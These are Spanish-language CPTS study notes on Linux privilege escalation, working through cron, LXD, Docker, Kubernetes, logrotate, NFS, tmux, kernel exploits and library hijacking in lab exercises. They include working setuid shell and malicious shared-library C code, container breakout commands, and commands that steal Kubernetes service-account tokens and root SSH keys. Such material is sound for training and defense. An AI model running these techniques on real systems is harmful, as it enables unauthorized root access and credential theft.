/tmp/rootshell
Ejemplo practico
Conectate al target y escala privs usando el screen exploit para subir el flag de /root/screen_exploit
- Nos conectamos, creamos el archivo exploit y le damos permisos de ejecucion
![[Pasted image 20260918135501.png]]
![[Pasted image 20260918135527.png]]
- Eliminamos caracteres extraños y ejecutamos para acceder como root y elevar nuestros privs
![[Pasted image 20260918140333.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 5. Escala De Privs Basada En Servicios
2. Abuso De Tareas Cron
Estas tareas se pueden configurar tambien para que solo se ejecuten una vez y se suelen usar para tareas administrativas
El comando crontab puede crear un archivo cron y este se ubicara en /var/spool/cron
Elementos de los archivos crontab:
minutos horas dias semanas COMANDO
0 */12 * * * /home/admin/backup.sh --> backup.sh se ejecuta cada 12h
Los crontabs de root casi siempre solo pueden ser editados por root o por un usuario con privs
Igualmente podremos buscar que archivos ejecutados como root son escribibles por todos o mirar el archivos crontab y modificar una linea de ese archivo añadiendo un comando de reverse shell
Hay aplicaciones que crean archivos en /etc/cron.d y puede estar mal configurados
- Buscamos un archivo o directorio con permisos de escritura:
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
![[Pasted image 20260919130249.png]]
Aqui vemos varios backup.sh escribibles
2. Si miramos /dmz-backups/backup.sh, podemos ver que son archivos que se crean cada 3 mins
ls -la /dmz-backups/
![[Pasted image 20260919130405.png]]
pspy: nos permite confirmar que se esta ejecutando una tarea cron ya que nos permite ver los procesos en ejecucion sin ser root
- Ejecuatamos pspy y vemos los eventos del sistema y linea de comandos escaneando procfs cada 1000ms (1s)
./pspy64 -pf -i 1000
![[Pasted image 20260919130611.png]]
Aqui podemos ver que una tarea cron esta ejecutando backup.sh del directorio /dmz-backups y crea un archivo tarball con el contenido de /var/www/html
![[Pasted image 20260919130815.png]]
- Podemos ver el script y añadir una linea que nos devuelva un reverse shell al final del script (intenta crear copias de seguridad si modificas un archivo)
![[Pasted image 20260919130942.png]]
Aqyu vemos que crea dos variables para el origen y destino, crea otra con lo que sera el nombre del archivo y ejecuta un tar para crear un gzip del origen en el destino
Modificamos para que tenga una reverse shell de bash:
![[Pasted image 20260919131056.png]]
- Si abrimos un listener y esperamos tendremos una reverse shell como root
![[Pasted image 20260919131132.png]]
Ejemplo practico
Conectate al sistema y escala de privs usando la mala configuracion de cron job y sube el contenido de flag.txt en /root/cron_abuse
- Nos conectamos via ssh
![[Pasted image 20260919131407.png]]
- Pasamos pspy para ver los procesos que se estan ejecutando y lo ejecutamos
![[Pasted image 20260919131741.png]]![[Pasted image 20260919131817.png]]
![[Pasted image 20260919131916.png]]
- Al esperar un poco vemos como se ejecuta un cron que ejecuta /dmz-backups.sh asi que vamos a ver que es lo que hace ese script
![[Pasted image 20260919132032.png]]![[Pasted image 20260919132106.png]]
Vemos que crea un gzip de /var/www/html en /dmz-backups
4. Vamos a ver si se encuentra dentro de los archivos o directorios escribibles por todos y asi es. Ademas miramos en que contexto se ejecuta y vemos que es contexto de root por lo que nos permitira elevar privs
![[Pasted image 20260919132156.png]]
![[Pasted image 20260919132335.png]]
- Añadimos una linea de reverse shell en bash al final del script
![[Pasted image 20260919132306.png]]![[Pasted image 20260919132313.png]]
- Abrimos un listener y al esperar un rato obtenemos un reverse shell como root
![[Pasted image 20260919132456.png]]**![[Pasted image 20260919132530.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 5. Escala De Privs Basada En Servicios
3. Lxd Contenedores
Los contenedores operan en el SO y MVs a nivel de hw por lo que comparten SO solo que aislan procesos de las aplicaciones del resto del sistema mientras que en la virtualizacion clasica lo que se permite es que hayan varios SOs en un mismo sistema
Contenedores Linux - LXC
Son una tecnica de virtualizacion a nivel de SO que permite que varios sistemas Linux se ejecuten de forma aislada entre si en un unico anfitrion compartiendo Kernel
Una plataforma LXC puede organizarse en multiples nubes lo que proporciona portabilidad y garantiza que las aplicaciones que se ejecutan en el sistema desarrollador se ejecuten tambien en cualquier otro sistema
Demonio de Linux - LXD
Es similar pero esta diseñado para contener un SO completo por lo que no es un contenedor de aplicaciones sino de sistema
- Debemos pertenecer al grupo
lxc o lxd
id
![[Pasted image 20260919133534.png]]
A partir de aqui hay varias formas para explotar LXC y LXD como crear nuestro propio contenedor y transferirlo al sistema objetivo o usar un contenedor existente. Los admins suelen usar plantillas con poco o ninguna seguridad
2. Vemos un directorio llamado ContainerImages que puede contener imagenes de contenedores:
cd ContainerImages
ls
![[Pasted image 20260919133724.png]]
- Aqui encontramos una plantilla (suelen tener poca o ninguna seguridad). Si existe un contenedor de este tipo en el sistema podremos escalar rapidamente:
- Verificamos que esta imagen se ha importado correctamente
lxc image import ubuntu-template.tar.xz --alias ubuntutemp
lxc image list
![[Pasted image 20260919133841.png]]
- La iniciamos y configuramos con flag
security.privileged (deshabilita todas las caracteristicas del aislamiento pudiendo interactuar con el anfitrion) y la ruta / para el contenedor
lxc init ubuntutemp privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
![[Pasted image 20260919134014.png]]
- Ahora si la iniciamos e iniciamos sesion y podemos interactuar con el sistema anfitrion
lxc start privesc
lxc exec privesc /bin/bash
ls -l /mnt/root
![[Pasted image 20260919134120.png]]
Ejemplo practico
Escala privs y sube el contenido de flag.txt como respuesta
- Nos conectamos via SSH
![[Pasted image 20260919134258.png]]
- Miramos a que grupo pertenecemos y vemos lxd. Vemos que existe una carpeta llamada ContainerImages con una template de Alpine
![[Pasted image 20260919134325.png]]
- Importamos Alpine y verificamos que esta bien importado
![[Pasted image 20260919134440.png]]
- Iniciamos el template con security.privileged para eliminar el aislamiento con el anfitrion. Lo configuramos para que copie la / en /mnt/root e iniciamos el contenedor. Por ultimo leemos la flag en /mnt/root
![[Pasted image 20260919134541.png]]![[Pasted image 20260919134620.png]]
![[Pasted image 20260919134702.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 5. Escala De Privs Basada En Servicios
4. Docker
Proporciona un entorno de ejecucion portatil y consistente para aplicaciones de sw. Usa contenedores como entornos aislados en el espacio de usuario y se ejecutan a nivel SO compartiendo sistemas, archivos y recursos
Arquitectura Docker
Es un modelo cliente-servidor donde hay 2 componentes principales:
- Daemon Docker
- Cliente Docker
Daemon Docker
O servidor Dicker es el que gestiona y orquesta los contenedores. Funciones:
- Ejecutar contendores Docker
- Interactuar con contenedores Docker
- Gestionar contenedores Docker en el sistema
Gestion de contenedores Docker
Coordina la creacion, ejecucion y monitoreo de los contenedores manteniendo aislado el anfitrion garantizando que los contenedores operen de forma independiente
Redes y almacenamiento
Facilita redes de contenedores creando redes virtuales y gestionando las interfaces de red. Permite que los contenedores se comuniquen entre si y con el mundo exterior a traves de puertos, direcciones IP y resolucion DNS
Clientes Docker
Para interactuar con un Docker emitimos comandos a traves de cliente Docker que se comunica con el daemon a traves de API Restful o un socker Unix
Podremos iniciar, detener, gestionar, eliminar, buscar…. Mientras que el daemon es el encargado de realizar las acciones
Docker Compose es una herramienta que simplifica la orquestacion de multiples contenedores en una misma aplicacion
Docker Desktop
GUI que simplifica la gestion de los contenedores y sus componentes permitiendonos monitorear el estado de los contenedores
Imagenes y contenedores Docker
Imagen: plantilla para crear contenedores que encapsula todo lo necesario para ejecutar una aplicacion incluyendo el codigo de la aplicacion, dependencias…
Podemos crear imagenes usando un archivo llamado DockerFile que define los pasos e instrucciones para construir una imagen
Un contenedor es una instancia de estas imagenes
Mientras que las imágenes son inmutables y de solo lectura, los contenedores son mutables y pueden ser modificados
Escalada de privs en Docker
Puede que entremos en un entorno donde haya usuarios que gestionan contenedores Docker
Directorios compartidos de Docker
Estos directorios compartidos pueden cerrar la brecha entre el sistema anfitrion y el sistema de archivos del contenedor. Con estos se puede acceder a archivos del sistema anfitrion desde el contenedor
Esto depende de la configuracion del entorno y de los objetivos que los administradores quieran alcanzar
Es importante tener en cuenta que los directorios compartidos pueden montarse como de solo lectura o de lectura-escritura. Cuando se montan como de solo lectura, las modificaciones realizadas dentro del contenedor no afectarán al sistema anfitrión, lo que es útil cuando se prefiere el acceso de solo lectura para evitar modificaciones accidentales
- Cuando accedemos al contenedor Docker y lo enumeramos podriamos encontrar directorios adicionales
cd /hostsystem/home/cry0l1t3
ls -l
![[Pasted image 20260920115148.png]]
Aqui podriamos copiar el contenido de la clave ssh privada y usarlo
![[Pasted image 20260920115221.png]]
Sockets de Docker
Archivo especial que nos permite comunicarnos con el daemon actuando como puente. Cuando emitimos un comando a traves del CLI Docker, el cliente Docker envia el comando al socket y el daemon lo procesa
El acceso al socket suele estar restringido a usuarios y grupos especificos. Al exponer este socket a la red podriamos gestionarlo de forma remota, emitir comandos y controlar contenedores y recursos
ls -al
![[Pasted image 20260920115542.png]]
Podemos instalar el binario Docker para interactuar con el socket desde nuestra maquina:
wget https://<parrot-os>:443/docker -O docker
chmod +x docker
ls -l
/tmp/docker -H unix:///app/docker.sock ps
![[Pasted image 20260920115711.png]]
Podemos crear nuestro propio contenedor que mapee el directorio / en el directorio /hostsystem y tener acceso completo al sistema anfitrion
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
/tmp/docker -H unix:///app/docker.sock ps
![[Pasted image 20260920115810.png]]
Ahora podemos iniciar sesion en el nuevo contenedor Docker:
/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash
cat /hostsystem/root/.ssh/id_rsa
![[Pasted image 20260920115845.png]]
Grupo Docker
Para obtener privs root a traves de Docker, debemos estar en el grupo docker
id
![[Pasted image 20260920115932.png]]
Alternativamente, Docker puede tener el SUID establecido, o podemos estar en el archivo Sudoers, lo que nos permite ejecutar docker como root
Vemos qué imágenes existen y a cuáles podemos acceder:
docker image ls
![[Pasted image 20260920120239.png]]
Socket de Docker
Un caso que también puede ocurrir es cuando el socket de Docker tiene permisos de escritura. Por lo general, este socket se encuentra en /var/run/docker.sock. Sin embargo, la ubicación puede ser comprensiblemente diferente
No hace falta pertenecer al grupo docker
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
ls -l
![[Pasted image 20260920120402.png]]
Ejemplo practico
Escala privilegios en el objetivo y obten la flag.txt de /root
- Nos conectamos via ssh y vemos que somos parte del grupo docker
**![[Pasted image 20260920120637.png]]
- Listamos los dockers, miramos si podemos ejecutar docker como sudo (no lo podemos mirar) y miramos si existe docker.sock (si existe)
![[Pasted image 20260920121028.png]]
- Montamos el sistema de archivos desde la raiz / en /mnt usando el docker ubuntu y ejecutamos una bash para obtener la flag
![[Pasted image 20260920121212.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 5. Escala De Privs Basada En Servicios
5. Kubernetes
Kubernetes o K8s fue diseñado para facilitar el despliegue, escalado y gestion de contenedores de aplicaciones
Una de las características clave de Kubernetes es su adaptabilidad y compatibilidad con diversos entornos
Kubernetes es un sistema de orquestación de contenedores, que funciona ejecutando todas las aplicaciones en contenedores aislados del sistema anfitrión a través de múltiples capas de protección. Este enfoque asegura que las aplicaciones no se vean afectadas por cambios en el sistema anfitrión
Concepto de K8s
Kubernetes gira en torno al concepto de pods, que pueden contener uno o más contenedores estrechamente conectados. Cada pod funciona como una máquina virtual separada en un nodo, con su propia IP, nombre de host y otros detalles
Diferencias entre K8 y Docker:
![[Pasted image 20260921095514.png]]
La arquitectura de Kubernetes se divide principalmente en dos tipos de componentes:
- El plano de control (nodo maestro): responsable de controlar el clúster de Kubernetes
- Nodos trabajadores (minions): donde se ejecutan las aplicaciones contenerizadas
Nodos
El nodo maestro aloja el Plano de Control de Kubernetes, que gestiona y coordina todas las actividades dentro del clúster y también asegura que se mantenga el estado deseado del clúster
Los Minions ejecutan las aplicaciones reales y reciben instrucciones del Plano de Control
Plano de control
Sirve como la capa de gestión. Consta de varios componentes cruciales:
![[Pasted image 20260921095807.png]]
Estos elementos permiten que el `Plano de Control` tome decisiones y proporcione una vista completa de todo el clúster.
Minions
Sirven como la ubicación designada para ejecutar aplicaciones. Cada nodo es gestionado y regulado por el Plano de Control
El Scheduler, basándose en el API server, entiende el estado del clúster y programa nuevos pods en los nodos en consecuencia. Después de decidir en qué nodo debe ejecutarse un pod, el servidor de la API actualiza el etcd
API de Kubernetes
El núcleo de la arquitectura de Kubernetes es su API, que sirve como el principal punto de contacto para todas las interacciones internas y externas
El kube-apiserver es responsable de alojar la API, que maneja y verifica las peticiones RESTful para modificar el estado del sistema. Estas peticiones pueden implicar la creación, modificación, eliminación y recuperación de información relacionada con diversos recursos dentro del sistema
Autenticacion
Kubernetes admite varios métodos como certificados de cliente, tokens de portador (bearer tokens), un proxy de autenticación o autenticación básica HTTP
Una vez que el usuario ha sido autenticado, Kubernetes aplica decisiones de autorización utilizando el Control de Acceso Basado en Roles (RBAC). Esta técnica implica asignar roles específicos a usuarios o procesos con los permisos correspondientes
El Kubelet puede ser configurado para permitir acceso anónimo. Por defecto, el Kubelet permite el acceso anónimo. Las peticiones anónimas se consideran no autenticadas, lo que implica que cualquier petición realizada al Kubelet sin un certificado de cliente válido será tratada como anónima. Esto puede ser problemático, ya que cualquier proceso o usuario que pueda alcanzar la API del Kubelet puede realizar peticiones y recibir respuestas, exponiendo potencialmente información
- Interaccion con el servidor de la API K8:
curl https://10.129.10.11:6443 -k
![[Pasted image 20260921100806.png]]
System:anonymous representa típicamente a un usuario no autenticado, lo que significa que no hemos proporcionado credenciales válidas
En este caso, intentamos acceder a la ruta raíz, lo que otorgaría un control significativo sobre el clúster de Kubernetes si tuviera éxito. Por defecto, el acceso a la ruta raíz generalmente está restringido a usuarios autenticados por eso responde con 403 Forbidden
curl https://10.129.10.11:10250/pods -k | jq .
![[Pasted image 20260921100943.png]]
La información que se muestra en la salida incluye los names (nombres), namespaces (espacios de nombres), creation timestamps (marcas de tiempo de creación) e container images (imágenes de contenedor) de los pods
Comprender las imágenes de contenedor y sus versiones utilizadas en el clúster puede permitirnos identificar vulnerabilidades conocidas y explotarlas
También podemos usar metadatos como uid y resourceVersion para realizar reconocimiento e identificar posibles objetivos para ataques posteriores
La divulgación de la última configuración aplicada puede exponer potencialmente información sensible, como contraseñas, secretos o tokens de API, utilizados durante el despliegue de los pods
- Kubeletctl - Extrayendo Pods:
kubeletctl -i --server 10.129.10.11 pods
![[Pasted image 20260921101141.png]]
- scan rce en kubeletctl: proporciona informacion valiosa y permite una gestion eficiente de los pods:
kubeletctl -i --server 10.129.10.11 scan rce
![[Pasted image 20260921101248.png]]
- Ejecutando comando para conocer nuestro alcance de privs:
kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx
![[Pasted image 20260921101340.png]]
Escalada de privs
Para obtener mayores privilegios y acceder al sistema anfitrión, podemos utilizar una herramienta llamada kubeletctl para obtener el token y el certificado (ca.crt)
- Kubelet API - Extrayendo Tokens
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
![[Pasted image 20260921101935.png]]
- Kubelet API - Extrayendo Certificados
kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
![[Pasted image 20260921101957.png]]
Ahora que tenemos tanto el token como el certificado, podemos verificar los derechos de acceso en el clúster de Kubernetes. Esto se usa comúnmente para auditoría y verificación para garantizar que los usuarios tengan el nivel correcto de acceso
Podemos usarlo para nuestros propósitos y podemos preguntar a K8s si tenemos permiso para realizar diferentes acciones en varios recursos
export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
![[Pasted image 20260921102114.png]]
Además de los recursos selfsubject, podemos hacer get, create y list de pods. A partir de aquí, podemos crear un archivo YAML que podemos usar para crear un nuevo contenedor y montar todo el sistema de archivos raíz del sistema anfitrión en el directorio /root de este contenedor. Desde allí, podríamos acceder a los archivos y directorios de los sistemas anfitriones
apiVersion: v1
kind: Pod
metadata:
name: privesc
namespace: default
spec:
containers:
- name: privesc
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
![[Pasted image 20260921102406.png]]
Una vez creado, ahora podemos crear el nuevo pod y verificar si se está ejecutando como se esperaba
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
![[Pasted image 20260921102437.png]]
Si el pod se está ejecutando, podemos ejecutar el comando y podríamos generar una shell inversa (reverse shell) o recuperar datos sensibles como la clave SSH privada del usuario root
- Extrayendo la Clave SSH de Root
kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc
![[Pasted image 20260921102523.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 5. Escala De Privs Basada En Servicios
6. Logrotate
Los sistemas Linux tienen archivos de registro log files. Para evitar que el sistema se llene hay herrmientas como logrotate que se encarga de archivar o desechar los registros antiguos
Los registros en /var/log proporcionan a los admins la informacion que necesitan para determinar la causa de los fallos
Logrotate tiene muchas caracteristicas para gestionar estos archivos:
- Especificacion de tamaño
- Antiguedad
- Accion a realizar cuando se alcanza alguno de estos factores
![[Pasted image 20260920121757.png]]
La función de la rotación en sí consiste en renombrar los archivos de registro. Ejemplo: se crea una archivo llamado log_new el que era antes new pasa a renombrarse como log_old
Logrotate suele iniciarse con cron y se controla mediante /etc/logrotate.conf donde se encuentran las confs globales que determinan el funcionamiento de logrotate
![[Pasted image 20260920122004.png]]
Forzar rotacion
Para forzar una nueva rotacion ese mismo dia podemos establecer la fecha despues de los archivos de registro individuales de estado /var/lib/logrotate.status y usar -f
sudo cat /var/lib/logrotate.status
![[Pasted image 20260920122211.png]]
Archivos de conf
/etc/logrotate.d/
sudo cat /etc/logrotate.d/
![[Pasted image 20260920122309.png]]![[Pasted image 20260920122314.png]]
Explotar logrotate
Hay que cumplir alguno de los siguientes requisitos:
- Permisos de escritura en archvios de registro
- Logrotate debe ejecutarse como root o privs
- Versiones vulns:
- 3.8.6
- 3.11.0
- 3.15.0
- 3.18.0
logrotten: exploit prefabricado si se cumple alguno de los requisitos
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
Creamos un payload:
![[Pasted image 20260920122713.png]]
Miramos que funcion cumple logrotate (en este caso create):
grep "create\|compress" /etc/logrotate.conf | grep -v "#"
![[Pasted image 20260920122756.png]]
Tendremos que usar el exploit adaptado a esa funcion
Abrimos listener:
![[Pasted image 20260920122828.png]]
Ejecutamos y obtenemos shell:
![[Pasted image 20260920122842.png]]![[Pasted image 20260920122847.png]]
Ejemplo practico
Escala privs y sube la flag.txt
- Descargamos el exploit y pasamos el .c al host
![[Pasted image 20260920123656.png]]
![[Pasted image 20260920123705.png]]
- Nos conectamos y vemos un backups que dentro contiene archivos .log
![[Pasted image 20260920123718.png]]![[Pasted image 20260920123731.png]]
- Creamos el payload, compilamos el exploit y ejecutamos
![[Pasted image 20260920123857.png]]
![[Pasted image 20260920123738.png]]
- Abrimos un listener y al esperar obtendremos la shell
![[Pasted image 20260920123747.png]]
Si no funciona tenemos que repetir esto hasta que funcione
![[Pasted image 20260920124238.png]]
- Obtenemos la shell pero vemos que perdemos la conexion cuando se termina de ejecutar el exploit
![[Pasted image 20260920124519.png]]
- Creamos este nuevo payload y vemos la flag
![[Pasted image 20260920124701.png]]
![[Pasted image 20260920124857.png]]
Lo mismo, si no se crea la flag, lo ejecutamos varias veces hasta que se cree
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 5. Escala De Privs Basada En Servicios
7. Tecnicas Varias
Captura pasiva de trafico
Si tcpdump esta instalado, los usuarios sin privs podrian capturar el trafico de red y poder ver creds en texto plano.
Varias herramietnas para ver creds en capturas de trafico:
Privilegios debiles en NFS
NFS permite a los usuarios acceder a archivos o directorios compartidos a traves de la red
NFS usa 2049 TCP/UDP
Cualquier mount accesible puede ser listado ejecutando:
showmount -e IP_SERVERNFS
![[Pasted image 20260920133124.png]]
Cuando se crea un volumen NFS pueden establecerse varias opciones:
-
root_squash: si usamos root local para acceder a los recursos compartidos, se cambiara al usuario nfsnobody que es una cuenta sin privs. Los archivos creados y subidos por root seran propiedad de este otro usuario impidiendo subir archivos con SUID activo
-
not_root_squash: los usuarios que se conecten como usuario root local podran crear archivos en el servidor como root del NFS
cat /etc/exports
![[Pasted image 20260920133430.png]]
Podriamos crear un binario con SETSUID que ejecute /bin/sh usando nuestro usuario root local. Luego podriamos montar /tmp localmente, copiar el binario de propiedad root local al servidor NFS y establecerle SUID
- Creamos el binario
cat shell.c
gcc shell.c -o shell -static
![[Pasted image 20260920133637.png]]
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
- Montamos el recurso compartido NFS, copiamos el binario y le establecemos SUID
sudo mount -t nfs 10.129.2.12:/tmp /mnt
cp shell /mnt
chmod u+s /mnt/shell
- Podemos volver ahora a la sesion del host con privs bajos y ejecutar el binario para obtener una shell root
./shell
![[Pasted image 20260920133903.png]]
Secuestro de sesiones de tmux
Los multiplexores de terminal pueden ser usados para permitir el acceso a múltiples sesiones de terminal dentro de una única sesión
Cuando no se trabaja en una ventana de tmux, podemos desvincularnos de la sesión, dejándola aún activa (p. ej., ejecutando un escaneo con nmap). Puede que un usuario se deje una ventana con un proceso root con permisos debiles y podemos secuestrarlo
- Creamos una sesion comparitida y modificamos la propiedad
tmux -S /shareds new -s debugsess
chown root:devs /shareds
Si tenemos un usuario de grupo `devs` podemos conectarnos a esta sesion y obtener acceso como root
2. Buscamos cualquier proceso tmux en ejecucion:
ps aux | grep tmux
![[Pasted image 20260920134336.png]]
- Confirmamos los permisos
ls -la /shareds
![[Pasted image 20260920134351.png]]
- Revisamos nuestra pertenencia a grupos
id
![[Pasted image 20260920134424.png]]
- Nos conectamos a la sesion tmux y confirmamos privs root
tmux -S /shareds
![[Pasted image 20260920134503.png]]
Ejemplo practico
Revisa el NFS server list y encuentra el directorio con la flag
![[Pasted image 20260921094218.png]]
![[Pasted image 20260921094852.png]]
![[Pasted image 20260921094906.png]]![[Pasted image 20260921094917.png]]![[Pasted image 20260921094926.png]]
![[Pasted image 20260921094939.png]]
![[Pasted image 20260921095109.png]]
![[Pasted image 20260921095127.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 6. Escalada De Privs Basada En Linux Internals
1. Kernel Exploits
Dirty COW: es un exploit de Kernel que nos permite ejecutar codigo como root
Muchos exploits funcionan sin necesidad de modificarlos pero otros si es necesario su modificacion
- Buscamos la version del kernel y miramos en Google exploits para esa version:
uname -a
![[Pasted image 20260921154700.png]]
cat /etc/lsb-release
![[Pasted image 20260921154713.png]]
Estamos en un sistema con el Kernel de Linux 4.4.0-116 en una máquina Ubuntu 16.04.4 LTS
2. Buscamos en google algo como linux 4.4.0-116-generic exploit y obtenemos el siguiente exploit que debemos compilar
gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit
- Ejecutamos el exploit
./kernel_exploit
- Obtenemos las shell como root
![[Pasted image 20260921154903.png]]
Ejemplo practico
Escala privs usando un exploit kernel diferente y sube el contenido de /root/kernel_exploit
- Nos conectamos via ssh y miramos la version del kernel
![[Pasted image 20260921155026.png]]
- Buscamos un exploit en google
![[Pasted image 20260921155105.png]]
https://medium.com/@omerbureyde/overlayfs-cve-2021-3493-9f675613fe1e
![[Pasted image 20260921155152.png]]
- Copiamos el codigo, lo compilamos y lo ejecutamos para obtener root y recuperar la flag
![[Pasted image 20260921155334.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 6. Escalada De Privs Basada En Linux Internals
2. Bibliotecas Compartidas
Es comun que en Linux se usen bibliotecas de objetos compartidos enlazadas dinamicamente. Estas tienen codigo compilado y otros datos que se usan para evitar tener que reescribir las mismas piezas de codigo en varios programas
2 tipos de bibliotecas:
- Bibliotecas estaticas: indicadas por extension .a
- Bibliotecas enlazadas dinamicamente: indicadas por extension .so
Cuando se compila un programa, las bibliotecas estaticas se convierten en parte del programa y no se pueden alterar pero las dinamicas pueden ser modificadas para controlar la ejecucion del programa
Hay muchos metodos para que el sistema sepa donde buscarlas:
- -rpath o -rpath-link: al compilar un programa
- variables LD_RUN_PATH o LD_LIBRARY_PATH
- Directorio por defecto /lib o /usr/lib
- Especificar un directorio en el archivo de conf /etc/ld.so.conf
La variable LD_PRELOAD carga bibliotecas antes de ejecutar un binario
- Para ver los objetos compartidos que son necesarios para la ejecucion de un binario:
ld COMANDO/BINARIO
![[Pasted image 20260921160022.png]]
Escalada de privs con LD_PRELOAD
- Necesitamos un usuario con privs sudo para algun binario
sudo -l
![[Pasted image 20260921160241.png]]
Este usuario tiene derechos para reiniciar el servicio Apache como root, pero como esto NO es un GTFOBin y la entrada de /etc/sudoers está escrita especificando la ruta absoluta, no podría ser utilizado para escalar privilegios
- Creamos un archivo .so (biblioteca) con el siguiente codigo
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
![[Pasted image 20260921160345.png]]
- Compilamos
gcc -fPIC -shared -o root.so root.c -nostartfiles
![[Pasted image 20260921160431.png]]
- Escalamos privs usando el comando que podemos usar como sudo y especificando la ruta de la biblioteca maliciosa con LD_PRELOAD
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
![[Pasted image 20260921160514.png]]
Ejemplo practico
Escala privs usando LD_PRELOAD y suble la flag de /root/ld_preload
- Miramos que binario podemos ejecutar como sudo
![[Pasted image 20260921161225.png]]
- Creamos una biblioteca maliciosa, la compilamos y ejecutamos el binario especificando la ruta de la biblioteca maliciosa
![[Pasted image 20260921161208.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 6. Escalada De Privs Basada En Linux Internals
3. Secuestro De Objetos Compartidos (shared Object Hijacking)
Los programas y binarios en desarrollo suelen tener bibliotecas personalizadas asociadas. Considera este binario con SETUID
ls -la payroll
![[Pasted image 20260921161508.png]]
Podemos usar ldd para imprimir el objeto compartido que requiere este binario. Mostrara la ubicacion del objeto y direccion hexadecimal donde se carga en memorio
ldd payroll
![[Pasted image 20260921161652.png]]
Aqui podemos ver una biblioteca NO ESTANDAR libshared.so. Como se sabe, se pueden cargar bibliotecas desde ubicaciones personalizadas y una de las formas es con RUNPATH
Si usamos readdelf podemos ver que podemos cargar bibliotecas desde la carpeta /development que es escribible por todos:
readelf -d payroll | grep PATH
![[Pasted image 20260921161918.png]]
ls -la /development/
![[Pasted image 20260921161927.png]]
Podremos colocar una biblioteca maliciosa en /development que tendra preferencia sobre el resto
Antes de compilar una biblioteca debemos encontrar el nombre de la funcion que es llamda por el binario
ldd payroll
![[Pasted image 20260921162054.png]]
Podemos copiar una biblioteca random en development sobre la biblioteca que usa el binario. Tras ejecutarlo da un error que indica que no se pudo encontrar la funcion dbquery
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
./payroll
![[Pasted image 20260921162427.png]]![[Pasted image 20260921162432.png]]
Compilamos el objeto compartido para que incluya dbquery (establece nuestro id de usuario en 0 y ejecuta /bin/shj):
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
![[Pasted image 20260921162528.png]]
gcc src.c -fPIC -shared -o /development/libshared.so
Ejecutamos el binario
![[Pasted image 20260921162621.png]]
Ejemplo practico
Sigo los pasos del ejemplo en esta seccion para escalar privs y sube la version de glibc
- Buscamos un binario personalizado y miramos las bibliotecas que carga donde vemos una ruta que parece ser personalizada
![[Pasted image 20260921162822.png]]
- Miramos como esta definida esa ruta para el binario y vemos que es mediante RUNPATH
![[Pasted image 20260921162901.png]]
- Creamos una biblioteca maliciosa, la copilamos e intercambiamos por la que existia y era llamada por el binario. Por ultimo ejecutamos
![[Pasted image 20260921163056.png]]
![[Pasted image 20260921163206.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 6. Escalada De Privs Basada En Linux Internals
4. Secuestro De Bibliotecas En Python
En Python se utilizan muchas bibliotecas en campos muy diversos. Una de ellas es NumPy: proporciona funciones precompiladas para el análisis numérico
Otra biblioteca es Pandas: para el procesamiento y análisis de datos con Python
Python tiene la Biblioteca Estándar, con muchos módulos incluidos desde una instalación estándar
Importacion de modulos en Python
![[Pasted image 20260921164240.png]]
Tres vectores de ataque básicos:
Permisos de escritura inseguros
Ruta de búsqueda de bibliotecas de Python
Variable de entorno PYTHONPATH
Permisos de escritura inseguros
Imagina que estamos en el host de un desarrollador y está trabajando con python
Puede que, por error, uno u otro módulo de python tenga permisos de escritura para todos los usuario. Esto permite que el módulo de python sea editado y manipulado para que podamos insertar comandos o funciones que producirán los resultados que queremos
Si nuestro usuario tiene permitido ejecutar el script de Python como root a través de sudo, nuestro código inyectado se ejecutará automáticamente con esos privilegios elevados
- Verificacion de privs
sudo -l
![[Pasted image 20260921164531.png]]
Podemos ejecutar `/home/htb-student/mem_status.py` como `root` usando `/usr/bin/python3`
2. Permisos del script
ls -l mem_status.py
![[Pasted image 20260921164627.png]]
Vemos que podemos ejecutar este script y también tenemos permiso para leer su contenido. No tenemos permiso de escritura; si lo tuviéramos, podríamos simplemente escribir nuestro payload directamente en mem_status.py
Además, notamos que el bit SUID está habilitado y el propietario del archivo es root. En una sección anterior, aprendimos que este permiso especial a veces se puede usar para la escalada de privilegios (privilege escalation). Sin embargo, por razones de seguridad, Linux ignora por defecto el bit SUID en los scripts interpretados (como los scripts de Python o Bash)
